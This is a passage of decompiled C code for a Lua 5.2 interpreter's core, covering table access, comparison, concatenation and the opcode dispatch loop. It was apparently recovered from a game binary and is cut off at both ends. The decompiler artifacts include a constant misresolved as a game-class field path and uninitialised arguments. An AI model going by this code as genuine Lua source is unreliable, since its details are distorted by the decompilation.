(char *)L->top) & 0xFFFFFFF8) <= 0 ) luaD_growstack(L, 0); luaD_call(L, &L->top[hasres - 4], hasres, L->ci->callstatus & 1); if ( hasres ) { v12 = L->stack; v13 = L->top - 1; L->top = v13; *(GCObject **)((char *)&v12->u.i.v__.gc + v8) = v13->u.i.v__.gc; *(int *)((char *)&v12->u.i.tt__ + v8) = v13->u.i.tt__; } } //----- (005C2600) -------------------------------------------------------- void __cdecl luaV_gettable(lua_State *L, lua_TValue *t, lua_TValue *key, lua_TValue *val) { lua_TValue *v4; // edi@1 Table *v5; // ebp@3 lua_TValue *v6; // esi@3 Table *v7; // ebp@4 lua_TValue *v8; // eax@6 bool v9; // sf@10 unsigned __int8 v10; // of@10 int loop; // [sp+10h] [bp-4h]@1 v4 = t; loop = 0; while ( 1 ) { if ( v4->u.i.tt__ == 2146936133 ) { v5 = (Table *)v4->u.i.v__.gc; v6 = luaH_get((Table *)v4->u.i.v__.gc, key); if ( v6->u.i.tt__ != 2146936064 || (v7 = v5->metatable) == 0 || v7->flags & 1 || (v8 = luaT_gettm(v7, 0, L->l_G->tmname[0])) == 0 ) { *(_QWORD *)&val->u.i.v__.gc = *(_QWORD *)&v6->u.i.v__.gc; return; } } else { v8 = luaT_gettmbyobj(L, v4, 0); if ( v8->u.i.tt__ == 2146936064 ) luaG_typeerror(L, v4, "index"); } if ( (v8->u.i.tt__ | 0x70) == 2146936182 ) break; v4 = v8; v10 = __OFSUB__(loop + 1, 100); v9 = loop++ - 99 < 0; if ( !(v9 ^ v10) ) luaG_runerror(L, "loop in gettable"); } callTM(L, v8, v4, key, val, 1); } //----- (005C26F0) -------------------------------------------------------- void __cdecl luaV_settable(lua_State *L, lua_TValue *t, lua_TValue *key, lua_TValue *val) { lua_TValue *v4; // esi@1 GCObject *v5; // ebp@3 lua_TValue *v6; // edi@3 unsigned int v7; // eax@4 lua_TValue *v8; // eax@6 int v9; // ecx@9 bool v10; // sf@13 unsigned __int8 v11; // of@13 int loop; // [sp+10h] [bp-4h]@1 v4 = t; loop = 0; while ( 1 ) { if ( v4->u.i.tt__ != 2146936133 ) { v8 = luaT_gettmbyobj(L, v4, TM_NEWINDEX); if ( v8->u.i.tt__ == 2146936064 ) luaG_typeerror(L, v4, "index"); goto LABEL_12; } v5 = v4->u.i.v__.gc; v6 = luaH_get((Table *)v4->u.i.v__.gc, key); if ( v6->u.i.tt__ != 2146936064 ) goto LABEL_9; v7 = v5->ts.tsv.hash; if ( !v7 ) break; if ( *(_BYTE *)(v7 + 6) & 2 ) break; v8 = luaT_gettm((Table *)v7, TM_NEWINDEX, L->l_G->tmname[1]); if ( !v8 ) break; LABEL_12: if ( (v8->u.i.tt__ | 0x70) == 2146936182 ) { callTM(L, v8, v4, key, val, 0); return; } v4 = v8; v11 = __OFSUB__(loop + 1, 100); v10 = loop++ - 99 < 0; if ( !(v10 ^ v11) ) luaG_runerror(L, "loop in settable"); } if ( (_UNKNOWN *)v6 == &luaO_nilobject_ ) v6 = luaH_newkey(L, (Table *)v5, key); LABEL_9: *(_QWORD *)&v6->u.i.v__.gc = *(_QWORD *)&val->u.i.v__.gc; *(&v5->gch.marked + 1) = 0; v9 = val->u.i.tt__; if ( (v9 & 0x7FFFFF00) != 2146936064 ) LOBYTE(v9) = 3; if ( v9 & 0x40 && val->u.i.v__.gc->gch.marked & 3 ) { if ( v5->gch.marked & 4 ) luaC_barrierback_(L, v5); } } //----- (005C2840) -------------------------------------------------------- int __usercall call_binTM(lua_State *L, lua_TValue *p1, TMS event, lua_TValue *p2, lua_TValue *res) { lua_State *v5; // esi@1 lua_TValue *v6; // eax@1 int result; // eax@3 lua_TValue *v8; // [sp+0h] [bp-10h]@0 TMS v9; // [sp+4h] [bp-Ch]@0 v5 = L; v6 = luaT_gettmbyobj(L, v8, v9); if ( v6->u.i.tt__ != 2146936064 || (v6 = luaT_gettmbyobj(v5, p2, event), v6->u.i.tt__ != 2146936064) ) { callTM(v5, v6, p1, p2, res, 1); result = 1; } else { result = 0; } return result; } //----- (005C28A0) -------------------------------------------------------- lua_TValue *__usercall get_equalTM(Table *mt1, Table *mt2, TMS event, lua_State *L) { TMS v4; // esi@1 lua_TValue *v5; // ebp@3 lua_TValue *v6; // eax@7 int v7; // edx@9 lua_TValue *result; // eax@13 signed int v9; // [sp+8h] [bp-4h]@2 v4 = event; if ( mt1 && (v9 = 1 << event, !((unsigned __int8)(1 << event) & mt1->flags)) && (v5 = luaT_gettm(mt1, event, L->l_G->tmname[event])) != 0 && (mt1 == mt2 || mt2 && !((unsigned __int8)v9 & mt2->flags) && (v6 = luaT_gettm(mt2, v4, L->l_G->tmname[v4])) != 0 && ((v5->u.i.tt__ & 0x7FFFFF00) == 2146936064 ? (v7 = v5->u.i.tt__ == v6->u.i.tt__) : (v7 = (v6->u.i.tt__ & 0x7FFFFF00) != 2146936064), v7 && luaV_equalobj_(0, v5, v6))) ) result = v5; else result = 0; return result; } //----- (005C2970) -------------------------------------------------------- int __usercall call_orderTM(lua_State *L, lua_TValue *p1, TMS event, lua_TValue *p2) { lua_State *v4; // esi@1 lua_TValue *v5; // ebp@1 lua_TValue *v6; // eax@1 lua_TValue *v7; // esi@3 int v8; // eax@3 int result; // eax@6 lua_TValue *v10; // [sp+0h] [bp-10h]@0 TMS v11; // [sp+4h] [bp-Ch]@0 v4 = L; v5 = L->top; v6 = luaT_gettmbyobj(L, v10, v11); if ( v6->u.i.tt__ == 2146936064 && (v6 = luaT_gettmbyobj(v4, p2, event), v6->u.i.tt__ == 2146936064) ) { result = -1; } else { callTM(v4, v6, p1, p2, v5, 1); v7 = v4->top; v8 = v7->u.i.tt__; result = v8 != 2146936064 && (v8 != 2146936065 || v7->u.i.v__.gc); } return result; } //----- (005C29F0) -------------------------------------------------------- int __usercall l_strcmp(TString *ls, TString *rs) { unsigned int v2; // ebx@1 unsigned int v3; // ebp@1 const char *v4; // edi@1 const char *v5; // esi@1 int result; // eax@1 unsigned int v7; // eax@2 int v8; // eax@4 v2 = rs->tsv.len; v3 = ls->tsv.len; v4 = (const char *)&rs[1]; v5 = (const char *)&ls[1]; result = strcoll((const char *)&ls[1], (const char *)&rs[1]); if ( !result ) { while ( 1 ) { v7 = strlen(v5); if ( v7 == v2 ) return v7 != v3; if ( v7 == v3 ) break; v8 = v7 + 1; v4 += v8; v5 += v8; v3 -= v8; v2 -= v8; result = strcoll(v5, v4); if ( result ) return result; } result = -1; } return result; } //----- (005C2A60) -------------------------------------------------------- int __cdecl luaV_lessthan(lua_State *L, lua_TValue *l, lua_TValue *r) { int result; // eax@4 if ( (l->u.i.tt__ & 0x7FFFFF00) == 2146936064 || (r->u.i.tt__ & 0x7FFFFF00) == 2146936064 ) { if ( (l->u.i.tt__ | 0x70) != 2146936180 || (r->u.i.tt__ | 0x70) != 2146936180 ) { result = call_orderTM(L, l, r, TM_LT); if ( result < 0 ) luaG_ordererror(L, l, r); } else { result = l_strcmp((TString *)l->u.i.v__.gc, (TString *)r->u.i.v__.gc) < 0; } } else { result = *(double *)&l->u.i.v__.gc < *(double *)&r->u.i.v__.gc; } return result; } //----- (005C2B00) -------------------------------------------------------- int __cdecl luaV_lessequal(lua_State *L, lua_TValue *l, lua_TValue *r) { int result; // eax@4 int v4; // eax@10 if ( (l->u.i.tt__ & 0x7FFFFF00) == 2146936064 || (r->u.i.tt__ & 0x7FFFFF00) == 2146936064 ) { if ( (l->u.i.tt__ | 0x70) != 2146936180 || (r->u.i.tt__ | 0x70) != 2146936180 ) { result = call_orderTM(L, l, r, TM_LE); if ( result < 0 ) { v4 = call_orderTM(L, r, l, TM_LT); if ( v4 < 0 ) luaG_ordererror(L, l, r); result = v4 == 0; } } else { result = l_strcmp((TString *)l->u.i.v__.gc, (TString *)r->u.i.v__.gc) <= 0; } } else { result = *(double *)&l->u.i.v__.gc <= *(double *)&r->u.i.v__.gc; } return result; } //----- (005C2BC0) -------------------------------------------------------- int __cdecl luaV_equalobj_(lua_State *L, lua_TValue *t1, lua_TValue *t2) { int v3; // eax@1 int result; // eax@4 GCObject *v5; // edx@9 lua_TValue *v6; // eax@13 lua_TValue *v7; // esi@14 int v8; // eax@14 v3 = t1->u.i.tt__; if ( (t1->u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v3) = 3; switch ( v3 & 0x3F ) { case 0: goto $L3315; case 3: if ( *(double *)&t1->u.i.v__.gc != *(double *)&t2->u.i.v__.gc ) goto LABEL_17; return 1; case 1: case 0x16: return t1->u.i.v__.gc == t2->u.i.v__.gc; case 0x14: return luaS_eqlngstr((TString *)t1->u.i.v__.gc, (TString *)t2->u.i.v__.gc); case 7: v5 = t2->u.i.v__.gc; goto LABEL_11; case 5: v5 = t2->u.i.v__.gc; LABEL_11: if ( t1->u.i.v__.gc == v5 || L && (v6 = get_equalTM(L, (Table *)t1->u.i.v__.gc->ts.tsv.hash, (Table *)v5->ts.tsv.hash, TM_EQ)) != 0 && (callTM(L, v6, t1, t2, L->top, 1), v7 = L->top, v8 = v7->u.i.tt__, v8 != 2146936064) && (v8 != 2146936065 || v7->u.i.v__.gc) ) $L3315: result = 1; else LABEL_17: result = 0; break; default: result = t1->u.i.v__.gc == t2->u.i.v__.gc; break; } return result; } //----- (005C2D20) -------------------------------------------------------- void __cdecl luaV_concat(lua_State *L, int total) { lua_State *v2; // ebx@1 lua_TValue *v3; // ebp@2 int v4; // esi@6 int v5; // edi@6 lua_TValue *v6; // eax@6 lua_TValue *v7; // ecx@8 int v8; // ebp@8 lua_TValue *v9; // eax@8 lua_TValue *v10; // eax@8 int v11; // ebp@8 lua_TValue *v12; // ecx@10 int v13; // eax@10 int v14; // esi@17 int v15; // edi@18 unsigned int v16; // eax@21 unsigned int v17; // edi@23 int v18; // edx@23 int v19; // eax@24 bool v20; // zf@24 bool v21; // sf@24 int v22; // ebp@25 TString *v23; // eax@25 signed int i; // [sp+10h] [bp-14h]@17 char *buffer; // [sp+14h] [bp-10h]@23 signed int n; // [sp+18h] [bp-Ch]@2 unsigned int La; // [sp+28h] [bp+4h]@17 int Lb; // [sp+28h] [bp+4h]@23 v2 = L; do { v3 = v2->top; n = 2; if ( ((*((_DWORD *)&v3[-1] - 1) | 0x70) == 2146936180 || (*((_DWORD *)&v3[-1] - 1) & 0x7FFFFF00) != 2146936064) && ((*((_DWORD *)v3 - 1) | 0x70) == 2146936180 || luaV_tostring(v2, v3 - 1)) ) { if ( v3[-1].u.i.v__.gc->ts.tsv.len ) { if ( (*((_DWORD *)&v3[-1] - 1) | 0x70) != 2146936180 || v3[-2].u.i.v__.gc->ts.tsv.len ) { La = v3[-1].u.i.v__.gc->ts.tsv.len; v14 = 1; i = 1; if ( total > 1 ) { v15 = (int)&v3[-2]; do { if ( (*(_DWORD *)(v15 + 4) | 0x70) != 2146936180 && !luaV_tostring(v2, (lua_TValue *)v15) ) break; v16 = *(_DWORD *)(*(_DWORD *)v15 + 12); if ( v16 >= -3 - La ) luaG_runerror(v2, "string length overflow"); ++v14; v15 -= 8; La += v16; i = v14; } while ( v14 < total ); } v17 = 0; n = v14; buffer = luaZ_openspace(v2, &v2->l_G->buff, La); Lb = 0; v18 = (int)&v3[-v14]; do { v19 = *(_DWORD *)(*(_DWORD *)v18 + 12); memcpy(&buffer[v17], (const void *)(*(_DWORD *)v18 + 16), *(_DWORD *)(*(_DWORD *)v18 + 12)); v17 = v19 + Lb; v18 += 8; v20 = i == 1; v21 = i - 1 < 0; Lb += v19; --i; } while ( !(v21 | v20) ); v22 = (int)&v3[-v14]; v23 = luaS_newlstr(v2, buffer, v17); *(_DWORD *)v22 = v23; *(_DWORD *)(v22 + 4) = BYTE4(v23->dummy.u) | 0x7FF7A540; } else { v3[-2].u.i.v__.gc = v3[-1].u.i.v__.gc; *((_DWORD *)&v3[-1] - 1) = *((_DWORD *)v3 - 1); } } else { if ( (*((_DWORD *)&v3[-1] - 1) | 0x70) != 2146936180 ) luaV_tostring(v2, v3 - 2); } } else { v4 = (int)&v3[-2]; v5 = (int)&v3[-1]; v6 = luaT_gettmbyobj(v2, v3 - 2, TM_CONCAT); if ( v6->u.i.tt__ == 2146936064 ) { v6 = luaT_gettmbyobj(v2, v3 - 1, TM_CONCAT); if ( v6->u.i.tt__ == 2146936064 ) luaG_concaterror(v2, v3 - 2, v3 - 1); } v7 = v2->top; v8 = (char *)v3 - (char *)v2->stack; v2->top = v7 + 1; v7->u.i.v__.gc = v6->u.i.v__.gc; v7->u.i.tt__ = v6->u.i.tt__; v9 = v2->top; v2->top = v9 + 1; v9->u.i.v__.gc = *(GCObject **)v4; v9->u.i.tt__ = *(_DWORD *)(v4 + 4); v10 = v2->top; v2->top = v10 + 1; v10->u.i.v__.gc = *(GCObject **)v5; v10->u.i.tt__ = *(_DWORD *)(v5 + 4); v11 = v8 - 16; if ( (signed int)(((char *)v2->stack_last - (char *)v2->top) & 0xFFFFFFF8) <= 0 ) luaD_growstack(v2, 0); luaD_call(v2, v2->top - 3, 1, v2->ci->callstatus & 1); v12 = v2->stack; v13 = (int)&v2->top[-1]; v2->top = (lua_TValue *)v13; *(GCObject **)((char *)&v12->u.i.v__.gc + v11) = *(GCObject **)v13; *(int *)((char *)&v12->u.i.tt__ + v11) = *(_DWORD *)(v13 + 4); } total += 1 - n; v2->top = (lua_TValue *)((char *)v2->top + 8 - 8 * n); } while ( total > 1 ); } //----- (005C3000) -------------------------------------------------------- void __cdecl luaV_objlen(lua_State *L, lua_TValue *ra, lua_TValue *rb) { int v3; // eax@1 int v4; // eax@3 lua_State *v5; // esi@5 lua_TValue *v6; // eax@5 GCObject *v7; // ebx@7 unsigned int v8; // eax@7 v3 = rb->u.i.tt__; if ( (rb->u.i.tt__ & 0x7FFFFF00) != 2146936064 ) LOBYTE(v3) = 3; v4 = (v3 & 0xF) - 4; if ( v4 ) { if ( v4 != 1 ) { v5 = L; v6 = luaT_gettmbyobj(L, rb, TM_LEN); if ( v6->u.i.tt__ == 2146936064 ) luaG_typeerror(L, rb, "get length of"); LABEL_10: callTM(v5, v6, rb, rb, ra, 1); return; } v7 = rb->u.i.v__.gc; v8 = rb->u.i.v__.gc->ts.tsv.hash; if ( v8 ) { if ( !(*(_BYTE *)(v8 + 6) & 0x10) ) { v5 = L; v6 = luaT_gettm((Table *)v8, TM_LEN, L->l_G->tmname[4]); if ( v6 ) goto LABEL_10; } } *(double *)&ra->u.i.v__.gc = (double)luaH_getn((Table *)v7); } else { *(double *)&ra->u.i.v__.gc = (double)rb->u.i.v__.gc->ts.tsv.len; } } //----- (005C30E0) -------------------------------------------------------- void __cdecl luaV_arith(lua_State *L, lua_TValue *ra, lua_TValue *rb, lua_TValue *rc, TMS op) { long double *v5; // esi@1 long double *v6; // eax@2 lua_TValue tempb; // [sp+1Ch] [bp-10h]@1 lua_TValue tempc; // [sp+24h] [bp-8h]@2 v5 = (long double *)luaV_tonumber(rb, &tempb); if ( v5 && (v6 = (long double *)luaV_tonumber(rc, &tempc)) != 0 ) { *(long double *)&ra->u.i.v__.gc = luaO_arith(op - 6, *v5, *v6); } else { if ( !call_binTM(L, rb, rc, ra, op) ) luaG_aritherror(L, rb, rc); } } //----- (005C3170) -------------------------------------------------------- Closure *__usercall getcached(Proto *p, UpVal **encup, lua_TValue *base) { Closure *result; // eax@1 int v4; // ebx@2 Upvaldesc *v5; // ecx@2 int v6; // edx@2 char *v7; // edi@3 int v8; // ecx@3 int v9; // esi@4 lua_TValue *v10; // esi@5 result = p->cache; if ( result ) { v4 = p->sizeupvalues; v5 = p->upvalues; v6 = 0; if ( v4 > 0 ) { v7 = (char *)result->c.upvalue; v8 = (int)&v5->idx; while ( 1 ) { v9 = *(_BYTE *)v8; v10 = *(_BYTE *)(v8 - 1) ? &base[v9] : encup[v9]->v; if ( *(lua_TValue **)(*(_DWORD *)v7 + 8) != v10 ) break; ++v6; v7 += 4; v8 += 8; if ( v6 >= v4 ) return result; } result = 0; } } return result; } //----- (005C31D0) -------------------------------------------------------- void __usercall pushclosure(lua_TValue *ra, lua_State *L, Proto *p, UpVal **encup, lua_TValue *base) { Proto *v5; // ebp@1 int v6; // esi@1 lua_TValue *v7; // edi@1 Closure *v8; // eax@1 Closure *v9; // ebx@1 int v10; // ebp@2 int v11; // edi@2 Upvaldesc *uv; // [sp+10h] [bp-4h]@1 v5 = p; v6 = p->sizeupvalues; v7 = ra; uv = p->upvalues; v8 = luaF_newLclosure(L, p->sizeupvalues); v9 = v8; v8->c.f = (int (__cdecl *)(lua_State *))p; v7->u.i.v__.gc = (GCObject *)v8; v7->u.i.tt__ = 2146936134; if ( v6 > 0 ) { v10 = (int)v8->c.upvalue; v11 = (int)&uv->idx; do { if ( *(_BYTE *)(v11 - 1) ) *(_DWORD *)v10 = luaF_findupval(L, &base[*(_BYTE *)v11]); else *(_DWORD *)v10 = encup[*(_BYTE *)v11]; v10 += 4; v11 += 8; --v6; } while ( v6 ); v5 = p; } if ( v5->marked & 4 ) luaC_barrierproto_(L, v5, v9); v5->cache = v9; } //----- (005C3270) -------------------------------------------------------- void __cdecl luaV_finishOp(lua_State *L) { CallInfo *v1; // ebx@1 unsigned int v2; // esi@1 lua_TValue *v3; // edx@1 int v4; // eax@1 lua_TValue *v5; // ebx@2 int v6; // esi@2 lua_TValue *v7; // ecx@3 int v8; // ebp@3 int v9; // ebp@6 lua_TValue *v10; // eax@13 int v11; // ecx@13 lua_TValue *v12; // eax@15 lua_TValue *v13; // ecx@15 int v14; // esi@15 v1 = L->ci; v2 = *(v1->u.l.savedpc - 1); v3 = v1->u.l.base; v4 = *(v1->u.l.savedpc - 1) & 0x3F; switch ( v4 ) { case 6: case 7: case 12: case 13: case 14: case 15: case 16: case 17: case 18: case 19: case 21: v5 = L->top - 1; L->top = v5; v6 = (v2 >> 6) & 0xFF; v3[v6].u.i.v__.gc = v5->u.i.v__.gc; v3[v6].u.i.tt__ = v5->u.i.tt__; break; case 24: case 25: case 26: v7 = L->top; v8 = *((_DWORD *)v7 - 1); v9 = v8 != 2146936064 && (v8 != 2146936065 || v7[-1].u.i.v__.gc); L->top = v7 - 1; if ( v4 == 26 && luaT_gettmbyobj(L, &v3[v2 >> 23], TM_LE)->u.i.tt__ == 2146936064 ) v9 = v9 == 0; if ( v9 != ((v2 >> 6) & 0xFF) ) ++v1->u.l.savedpc; break; case 22: v10 = L->top - 1; v11 = &L->top[-(v2 >> 23) - 2] - v3; L->top[-3].u.i.v__.gc = L->top[-1].u.i.v__.gc; *((_DWORD *)&v10[-1] - 1) = v10->u.i.tt__; if ( v11 > 1 ) { L->top = v10 - 1; luaV_concat(L, v11); } v12 = L->top; v13 = v1->u.l.base; v14 = (v2 >> 6) & 0xFF; v13[v14].u.i.v__.gc = v12[-1].u.i.v__.gc; v13[v14].u.i.tt__ = *((_DWORD *)v12 - 1); L->top = v1->top; break; case 34: L->top = v1->top; break; case 29: if ( ((((v2 >> 14) & 0x1FF) - 1) & 0x80000000u) == 0 ) L->top = v1->top; break; default: return; } } //----- (005C3400) -------------------------------------------------------- void __cdecl luaV_execute(lua_State *L) { lua_TValue *v1; // ebx@2 CallInfo *v2; // edx@3 const unsigned int *v3; // eax@3 unsigned int v4; // esi@3 char v5; // al@3 bool v6; // zf@4 int v7; // eax@7 int v8; // edi@7 unsigned int v9; // esi@8 unsigned int v10; // esi@9 const unsigned int *v11; // eax@10 const unsigned int v12; // ecx@10 unsigned int v13; // esi@13 int v14; // edi@13 unsigned int v15; // edx@14 int v16; // edx@16 unsigned int v17; // eax@17 unsigned int v18; // esi@17 unsigned int v19; // eax@17 int v20; // esi@18 unsigned int v21; // eax@21 int v22; // eax@22 unsigned int v23; // eax@27 int v24; // eax@28 unsigned int v25; // esi@30 int v26; // esi@31 int v27; // esi@35 int v28; // eax@35 int v29; // eax@35 int v30; // edi@38 unsigned int v31; // eax@41 int v32; // eax@42 unsigned int v33; // esi@44 int v34; // ebx@47 Table *v35; // esi@47 int v36; // eax@49 int v37; // eax@53 unsigned int v38; // esi@53 unsigned int v39; // eax@56 int v40; // eax@57 unsigned int v41; // esi@59 int v42; // esi@60 unsigned int v43; // eax@68 int v44; // eax@69 unsigned int v45; // esi@71 int v46; // esi@72 unsigned int v47; // eax@78 unsigned int v48; // esi@81 unsigned int v49; // eax@88 int v50; // eax@89 unsigned int v51; // esi@91 int v52; // esi@92 unsigned int v53; // eax@98 unsigned int v54; // esi@101 unsigned int v55; // eax@108 int v56; // eax@109 unsigned int v57; // esi@111 int v58; // esi@112 unsigned int v59; // esi@118 int v60; // edx@118 lua_TValue *v61; // esi@118 unsigned int v62; // esi@121 int v63; // eax@121 int v64; // esi@121 unsigned int v65; // edi@127 int v66; // esi@127 lua_TValue *v67; // ecx@127 int v68; // eax@127 int v69; // edi@127 unsigned int v70; // eax@135 int v71; // eax@136 unsigned int v72; // esi@138 int v73; // esi@139 int v74; // edx@142 int v75; // eax@146 unsigned int v76; // edi@150 unsigned int v77; // eax@153 int v78; // eax@154 unsigned int v79; // esi@156 int v80; // esi@157 lua_State *v81; // ebx@159 unsigned int v82; // edi@161 unsigned int v83; // eax@164 int v84; // eax@165 unsigned int v85; // esi@167 int v86; // esi@168 int v87; // eax@172 int v88; // ecx@181 int v89; // eax@181 unsigned int v90; // esi@186 unsigned int v91; // eax@193 int v92; // esi@193 unsigned int v93; // esi@198 CallInfo *v94; // eax@201 int v95; // edi@201 CallInfo *v96; // esi@201 lua_TValue *v97; // ebx@201 int v98; // ecx@204 int v99; // eax@204 int v100; // eax@205 lua_TValue *v101; // ebx@206 double v102; // ST34_8@207 double v103; // st7@207 double v104; // st6@207 const unsigned int *v105; // ecx@220 int v106; // eax@221 int v107; // eax@223 int v108; // esi@223 int v109; // ecx@223 const unsigned int *v110; // edx@226 int v111; // esi@227 int v112; // edi@230 int v113; // eax@231 Proto *v114; // esi@239 Closure *v115; // eax@239 Proto *v116; // ST08_4@240 lua_State *v117; // esi@240 int v118; // edx@244 int v119; // esi@244 lua_State *v120; // ecx@245 int v121; // ecx@248 int v122; // eax@249 unsigned int v123; // esi@256 int v124; // eax@260 lua_TValue *v125; // [sp-4h] [bp-34h]@24 lua_TValue *v126; // [sp-4h] [bp-34h]@33 int v127; // [sp+0h] [bp-30h]@24 int v128; // [sp+0h] [bp-30h]@33 TMS v129; // [sp+4h] [bp-2Ch]@0 int v130; // [sp+4h] [bp-2Ch]@24 int v131; // [sp+4h] [bp-2Ch]@33 signed int v132; // [sp+4h] [bp-2Ch]@65 CallInfo *ci; // [sp+14h] [bp-1Ch]@1 int nci; // [sp+18h] [bp-18h]@2 CallInfo *ncia; // [sp+18h] [bp-18h]@201 GCObject *v136; // [sp+1Ch] [bp-14h]@2 int h; // [sp+20h] [bp-10h]@7 int ha; // [sp+20h] [bp-10h]@201 lua_TValue *hb; // [sp+20h] [bp-10h]@213 int hc; // [sp+20h] [bp-10h]@227 int b; // [sp+28h] [bp-8h]@47 int ba; // [sp+28h] [bp-8h]@203 int bb; // [sp+28h] [bp-8h]@223 int bc; // [sp+28h] [bp-8h]@244 ci = L->ci; newframe: v1 = ci->u.l.base; v136 = ci->func->u.i.v__.gc; nci = *(_DWORD *)(v136->ts.tsv.len + 8); while ( 2 ) { v2 = ci; v3 = ci->u.l.savedpc; v4 = *v3; ci->u.l.savedpc = v3 + 1; v5 = L->hookmask; if ( v5 & 0xC ) { v6 = L->hookcount-- == 1; if ( v6 || v5 & 4 ) { traceexec(L); v1 = ci->u.l.base; v2 = ci; } } v7 = (v4 >> 6) & 0xFF; h = v7; v8 = (int)&v1[v7]; switch ( v4 & 0x3F ) { case 0u: v9 = v4 >> 23; *(_DWORD *)v8 = v1[v9].u.i.v__.gc; *(_DWORD *)(v8 + 4) = v1[v9].u.i.tt__; continue; case 1u: v10 = v4 >> 14; *(_DWORD *)v8 = *(_DWORD *)(nci + 8 * v10); *(_DWORD *)(v8 + 4) = *(_DWORD *)(nci + 8 * v10 + 4); continue; case 2u: v11 = v2->u.l.savedpc; v12 = *v11 >> 6; v2->u.l.savedpc = v11 + 1; *(_DWORD *)v8 = *(_DWORD *)(nci + 8 * v12); *(_DWORD *)(v8 + 4) = *(_DWORD *)(nci + 8 * v12 + 4); continue; case 3u: *(_DWORD *)v8 = v4 >> 23; *(_DWORD *)(v8 + 4) = 2146936065; if ( (unsigned int)&charclassmanager.ccm_classsharpshooter.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4.or_TableArray[25].ort_HeaderList.orchl_fieldname[449] & v4 ) ++v2->u.l.savedpc; continue; case 4u: v13 = v4 >> 23; v14 = v8 + 4; do { *(_DWORD *)v14 = 2146936064; v14 += 8; v15 = v13--; } while ( v15 ); continue; case 5u: v16 = *(_DWORD *)(*(&v136->u.uv.len + (v4 >> 23)) + 8); *(_DWORD *)v8 = *(_DWORD *)v16; *(_DWORD *)(v8 + 4) = *(_DWORD *)(v16 + 4); continue; case 6u: v17 = v4; v18 = v4 >> 14; v19 = v17 >> 23; if ( v18 & 0x100 ) v20 = nci + 8 * (unsigned __int8)v18; else v20 = (int)&v1[v18 & 0x1FF]; luaV_gettable(L, *(lua_TValue **)(*(&v136->u.uv.len + v19) + 8), (lua_TValue *)v20, (lua_TValue *)v8); v1 = ci->u.l.base; continue; case 7u: v21 = v4 >> 14; if ( BYTE1(v21) & 1 ) v22 = nci + 8 * (unsigned __int8)v21; else v22 = (int)&v1[v21 & 0x1FF]; v130 = v8; v127 = v22; v125 = &v1[v4 >> 23]; goto LABEL_25; case 8u: v23 = v4 >> 14; if ( BYTE1(v23) & 1 ) v24 = nci + 8 * (unsigned __int8)v23; else v24 = (int)&v1[v23 & 0x1FF]; v25 = v4 >> 23; if ( v25 & 0x100 ) v26 = nci + 8 * (unsigned __int8)v25; else v26 = (int)&v1[v25]; v131 = v24; v128 = v26; v126 = *(lua_TValue **)(*(&v136->u.uv.len + h) + 8); goto LABEL_34; case 9u: v27 = *(&v136->u.uv.len + (v4 >> 23)); v28 = *(_DWORD *)(v27 + 8); *(_DWORD *)v28 = *(_DWORD *)v8; *(_DWORD *)(v28 + 4) = *(_DWORD *)(v8 + 4); v29 = *(_DWORD *)(v8 + 4); if ( (*(_DWORD *)(v8 + 4) & 0x7FFFFF00) != 2146936064 ) LOBYTE(v29) = 3; if ( v29 & 0x40 ) { v30 = *(_DWORD *)v8; if ( *(_BYTE *)(v30 + 5) & 3 ) { if ( *(_BYTE *)(v27 + 5) & 4 ) luaC_barrier_(L, (GCObject *)v27, (GCObject *)v30); } } continue; case 0xAu: v31 = v4 >> 14; if ( BYTE1(v31) & 1 ) v32 = nci + 8 * (unsigned __int8)v31; else v32 = (int)&v1[v31 & 0x1FF]; v33 = v4 >> 23; if ( v33 & 0x100 ) { v131 = v32; v128 = nci + 8 * (unsigned __int8)v33; v126 = (lua_TValue *)v8; } else { v131 = v32; v128 = (int)&v1[v33]; v126 = (lua_TValue *)v8; } LABEL_34: luaV_settable(L, v126, (lua_TValue *)v128, (lua_TValue *)v129); v1 = ci->u.l.base; continue; case 0xBu: v34 = v4 >> 23; b = (v4 >> 14) & 0x1FF; v35 = luaH_new(L); *(_DWORD *)v8 = v35; *(_DWORD *)(v8 + 4) = 2146936133; if ( v34 || b ) { v129 = luaO_fb2int(b); v36 = luaO_fb2int(v34); luaH_resize(L, v35, v36, v129); } if ( L->l_G->GCdebt > 0 ) { L->top = (lua_TValue *)(v8 + 8); luaC_step(L); L->top = ci->top; } v1 = ci->u.l.base; continue; case 0xCu: v37 = (int)&v1[v4 >> 23]; *(_DWORD *)(v8 + 8) = v1[v4 >> 23].u.i.v__.gc; v38 = v4 >> 14; *(_DWORD *)(v8 + 12) = *(_DWORD *)(v37 + 4); if ( v38 & 0x100 ) { v130 = v8; v127 = nci + 8 * (unsigned __int8)v38; v125 = (lua_TValue *)v37; } else { v130 = v8; v127 = (int)&v1[v38 & 0x1FF]; v125 = (lua_TValue *)v37; } LABEL_25: luaV_gettable(L, v125, (lua_TValue *)v127, (lua_TValue *)v129); goto LABEL_26; case 0xDu: v39 = v4 >> 23; if ( BYTE1(v39) & 1 ) v40 = nci + 8 * (unsigned __int8)v39; else v40 = (int)&v1[v39]; v41 = v4 >> 14; if ( v41 & 0x100 ) v42 = nci + 8 * (unsigned __int8)v41; else v42 = (int)&v1[v41 & 0x1FF]; if ( (*(_DWORD *)(v40 + 4) & 0x7FFFFF00) != 2146936064 && (*(_DWORD *)(v42 + 4) & 0x7FFFFF00) != 2146936064 ) { *(double *)v8 = *(double *)v42 + *(double *)v40; continue; } v132 = 6; goto LABEL_66; case 0xEu: v43 = v4 >> 23; if ( BYTE1(v43) & 1 ) v44 = nci + 8 * (unsigned __int8)v43; else v44 = (int)&v1[v43]; v45 = v4 >> 14; if ( v45 & 0x100 ) v46 = nci + 8 * (unsigned __int8)v45; else v46 = (int)&v1[v45 & 0x1FF]; if ( (*(_DWORD *)(v44 + 4) & 0x7FFFFF00) == 2146936064 || (*(_DWORD *)(v46 + 4) & 0x7FFFFF00) == 2146936064 ) { luaV_arith(L, (lua_TValue *)v8, (lua_TValue *)v44, (lua_TValue *)v46, TM_SUB); v1 = ci->u.l.base; } else { *(double *)v8 = *(double *)v44 - *(double *)v46; } continue; case 0xFu: v47 = v4 >> 23; if ( BYTE1(v47) & 1 ) v40 = nci + 8 * (unsigned __int8)v47; else v40 = (int)&v1[v47]; v48 = v4 >> 14; if ( v48 & 0x100 ) v42 = nci + 8 * (unsigned __int8)v48; else v42 = (int)&v1[v48 & 0x1FF]; if ( (*(_DWORD *)(v40 + 4) & 0x7FFFFF00) != 2146936064 && (*(_DWORD *)(v42 + 4) & 0x7FFFFF00) != 2146936064 ) { *(double *)v8 = *(double 